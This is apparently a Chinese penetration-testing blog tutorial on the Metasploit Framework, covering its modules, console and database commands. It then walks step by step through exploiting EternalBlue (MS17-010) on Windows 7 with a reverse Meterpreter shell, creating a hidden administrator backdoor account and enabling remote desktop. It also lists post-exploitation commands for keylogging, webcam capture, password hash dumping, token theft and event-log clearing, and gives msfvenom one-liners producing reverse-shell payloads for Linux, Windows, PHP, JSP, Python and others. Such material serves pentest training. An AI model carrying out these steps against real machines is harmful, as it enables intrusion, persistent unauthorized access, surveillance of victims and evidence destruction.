Metasploit

一:初识Metasploit

如果我有八个小时的时间砍树,我会花六个小时磨斧头。
-亚伯拉罕·林肯

Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。
Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新发明轮子。
官网地址:https://www.metasploit.com/
项目地址:https://github.com/rapid7/metasploit-framework/

》》》MSF各个版本对比《《《

  • 见下文叙述…

》》》MSF在VPS上安装《《《

  • 见下文叙述…

》》》MSF模块框架介绍《《《

1.1:模块介绍

模块名称 模块作用
Auxiliary 负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
Exploits 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
Payloads 成功exploit之后,真正在目标系统执行的代码或指令。
Post 后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
Encoders 对payload进行加密,躲避AntiVirus检查的模块
Nops 提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

注意:MSF默认存放模块目录如下…目录下的6个子文件夹对上面6个模块一一对应….

/usr/share/metasploit-framework/modules/

1.2:MSF接口

接口命令 接口介绍
Msfconsole 命令行控制台用户界面
Armitage 基于Msf的可视化高级后渗透工具
Web View MSF网页界面,存在MAC OS中…


1.3:MSF更新

apt update         //更新软件源列表
apt install metasploit-framework

1.4:MSFDB管理

》》》基础操作《《《

msfdb init     # start and initialize the database   postgresql
msfdb reinit   # delete and reinitialize the database
msfdb delete   # delete database and stop using it
msfdb start    # start the database
msfdb stop     # stop the database
msfdb status   # check service status
msfdb run      # start the database and run msfconsole

》》》扩展操作《《《

操作命令 命令解释
db_status
- 查看MSF有没有连接上后台数据库。如果没有连上数据库,在终端输入msfdb start后再启动MSF。没有连接上数据库MSF也是可以使用的,只是连接上了的话,我们渗透过程中获取的一些信息可以保存下来,比如目标机器的账号密码信息等。
db_rebuild_cache
- 这个命令将所有模块信息缓存到数据库中,通过数据库检索效率就高很多了。
db_disconnect
- 断开数据库连接。
db_connect
- msf默认连上postgresql的msf数据库。可以用db_connect连接我们指定的数据库。如果要使用配置文件进行连接,默认的数据库配置文件为/usr/share/metasploit-framework/config/database.yml,可以参考这个文件进行编写。
db_nmap
- 集成在msf中的namp扫描命令。不同的是db_nmap扫描的结果会自动保存到数据库中。
- 可以输入hosts查看扫描到的主机信息
- 如果数据多,可以用 hosts IP 进行过滤;hosts -u 查看up状态的机器;使用 hosts -c 列名[,列名] 指定要看的列;使用 hosts -S 进行搜索,比如hosts -S windows。
- 输入services可以查看主机开放的端口情况
creds
- 查看扫描出来的密码信息
vulns
- 查看扫描出来的漏洞信息
loot
- 有些账号密码我们可能没有获取到明文信息,可是经过加密的hash值,可以用这个显示
db_export/db_import
- 数据库的导入和导出
- db_export -f /root/msfbak.xml
- nmap导出的也可以导入到msf中
- nmap -A 192.168.1.113 -oX nmap.xml => db_import -f /root/nmap.xml

1.5:MSF基础操作

控制台命令支持TAB补全,支持外部命令的执行(系统命令)

操作命令 命令解释
help或?
- 显示msfconsole可以使用的命令。help ,显示某一命令的用法。
connect
- 可以理解成MSF中的nc命令,可以使用connect -h查看详细用法。
- connect [options]
show
- 用show命令查看msf提供的资源。在根目录下执行的话,由于有些模块资源比较多,需要执行show命令要较长的时间
- show exploits:查看可以使用的exploit
- 除了exploits,还支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些选项需要用use使用一个模块后才能使用,比如给show targets。
search
- 搜索模块
- 简单搜索:seach ms17_010
- 多条件搜索缩小范围:search name:mysql type:exploit platform:linux
info
- 查看模块的信息
- info
- 如果用use使用了一个模块,直接输入info即可查看
use
- search找到模块后,用use使用模块
- use exploit/windows/smb/ms08_067_netapi
- 用use使用一个模块后,可以使用 show options查看我们需要配置的选项、使用show targets选择目标主机系统、使用show payloads选择payload、使用show advanced查看高级参数、使用show evasion查看用来做混淆、逃避的模块。
set/setg
- 设置参数,比如要渗透的主机IP、payload等。我们可以用show missing查看没有设置的参数
- setg是设置全局变量,避免每个模块都要输入相同的参数
unset/unsetg
- 取消设置参数。unsetg是取消设置的全局变量
save
- 设置的参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。
check
- 检查目标是否真的存在这个漏洞,大部分模块没有check功能
back
- 回到msfconsole根目录
run或exploit
- 开始使用模块
- exploit -j:以后台的方式运行
sessions
- 查看当前已经建立的sessions,说明已经拿到了shell
- sessions -i id 可以进入一个session交互
load/unload
- 调用外部的扫描命令,比如openvas
loadpath
- 加载自己的模块
route
- 添加一条路由。比如发往某个子网的流量都通过攻陷的机器发送。

二:永恒之蓝漏洞

本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
其中漏洞编号为MS17-010,利用多个SMB远程代码执行漏洞,可在无交互的情况下获取系统最高权限,又为远程代码任意执行!!!

2.1:针对Win7系统

步骤一:使用msfconsole命令开启MSF,并使用Search命令搜索永恒之蓝漏洞模块…

Search ms17-010


步骤二:使用搜索出来的第三个模块来进行探测目标是否存在永恒之蓝漏洞,并设置好以下参数进行扫描测试…

>>>use  auxiliary/scanner/smb/smb_ms17_010       /模块调用或者使用use 3对搜索出来的模块进行调用...
>>>set  rhost  192.168.202.131                   //设置目标地址
>>>set  rport  445                               //设置目标端口
>>>show options                                  //显示要设置的选项
>>>run                                           //开始运行此模块

步骤三:通过辅助模块扫描可以发现目标系统存在永恒之蓝漏洞,并开始调用漏洞利用模块按照以下参数来进行攻击…

>>>Use exploit/windows/smb/ms17_010_eternalblue      //调用ms17_010漏洞利用模块
>>>Set payload windows/x64/meterpreter/reverse_tcp   //设置payload
>>>Set RHOST  受害者IP地址                            //设置攻击目标的IP地址
>>>Set LHOST  反弹payload的IP地址                     //这是反弹的IP地址,即攻击者的IP地址
>>>Exploit                                           //漏洞攻击

步骤四:攻击成功后获取一个Meterpreter会话….使用以下命令在Meterpreter会话开启目标主机的3389端口并进入到目标Shell中创建后门账号…

meterpreter>run getgui -e              //开启目标机器远程桌面服务器
meterpreter>shell                    //进入到目标机器的CMD环境当中
C:\Windows\system32>net user warsec 123admiN@ /add                //创建后门账号
C:\Windows\system32>net localgroup administrators warsec /add     //将后门账号添加到管理员组当中
>>>rdesktop 192.168.0.19                           //远程桌面到目标机器

2.2:针对Wins8系统

  • 请见下文详细过程….

2.3:针对Wins03系统

  • 请见下文详细过程….

2.4:永恒之蓝漏洞修补

  • 请见下文详细过程….

三:Meterpreter

Meterpreter通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。
Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

》》》常规命令《《《

  • shell 建立一个被控主机的CMD终端

3.1:核心命令

background – 将当前会话移动到背景
exit、quit – 终止 meterpreter 会话
help – 帮助菜单
migrate – 移动到一个指定的 PID 的活动进程
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
load– 加载其他辅助组件

3.2:文件命令

cat -读取并输出到标准输出文件的内容cd -更改目录对受害人del -删除文件对受害人download-从受害者系统文件下载edit-用 vim编辑文件getlwd -打印本地目录getwd -打印工作目录lcd -更改本地目录lpwd -打印本地目录ls -列出在当前目录中的文件列表mkdir -在受害者系统上的创建目录pwd -输出工作目录rm -删除文件rmdir -受害者系统上删除目录upload-从攻击者的系统往受害者系统上传文件

3.3:网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发
portfwd add‐l 33333 ‐r 192.168.5.101 ‐p 3389   #将远程主机的3389端口转发到本地的3333端口
route -查看或修改受害者路由表
#在全局给指定的session增删路由
route add 192.168.11.0  255.255.255.0  1     #在session1中添加到达192.168.11.0网段的路由
route add 192.168.12.0  255.255.255.0  1     #在session1中添加到达192.168.12.0网段的路由
route add 0.0.0.0       0.0.0.0        1     #在session1中添加到达0.0.0.0/24网段的路由
route del 192.168.12.0  255.255.255.0  2     #在session2中删除到达192.168.12.0网段的路由
route print    #打印路由信息
#也可以在进入session下添加路由
run autoroute -s 192.168.11.0/24             #添加到达192.168.11.0网段的路由run autoroute -s 192.168.12.0/24             #添加到达192.168.12.0网段的路由run autoroute -s 0.0.0.0/0                   #添加到达0.0.0.0/0的路由
run autoroute -p                             #打印路由信息

3.4:系统命令

clearev -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getuid -获取作为运行服务器的用户kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

3.5:用户界面命令

keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
webcam_list – 列举摄像头
webcam_snap – 抓取摄像头影像图片
webcam_stream – 抓取摄像头影像流

3.6:其他常用命令

hashdump – 抓取HASH密码(SAM文件中的值)getsystem – 获得系统管理员权限

四:MSFVenom

msfvenom取代了之前版本的msfpayload和msfencode,常用于生成木马并在目标机器上执行,使其在本地机器kali的MSF中上线….

》》》常用参数《《《

-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format < format> 指定输出格式
-e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-o, --out < path> 指定创建好的payload的存放位置
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定一个附加的win32 shellcode文件
-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name < value> 指定一个自定义的变量,以确定输出格式
-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,--help 查看帮助选项
--platform < platform> 指定payload的目标平台
Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

https://www.fujieace.com/metasploit/introduction.html


   转载规则


《Metasploit》 XYZ 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
内网渗透基础及环境搭建 内网渗透基础及环境搭建
一:内网渗透基础 内网也是指计算机网络中根据地理范围划分中的局域网(Local Area Network),即内网等同于局域网 。 内网渗透又叫做后渗透,区别于前渗透的WEB渗透,内网渗透是指从获取WEB服务器的shell之后到拿下内网全
下一篇 
信息收集 信息收集
资产信息收集 流程图 简介: 分类 什么是资产 重要性 域名备案信息通过查询备案信息,可以获取该企业的一些基本信息:网站地址,网站域名等 工信部网站备案查询https://beian.miit.gov.cn/#/Integrated/ind
2021-08-10
  目录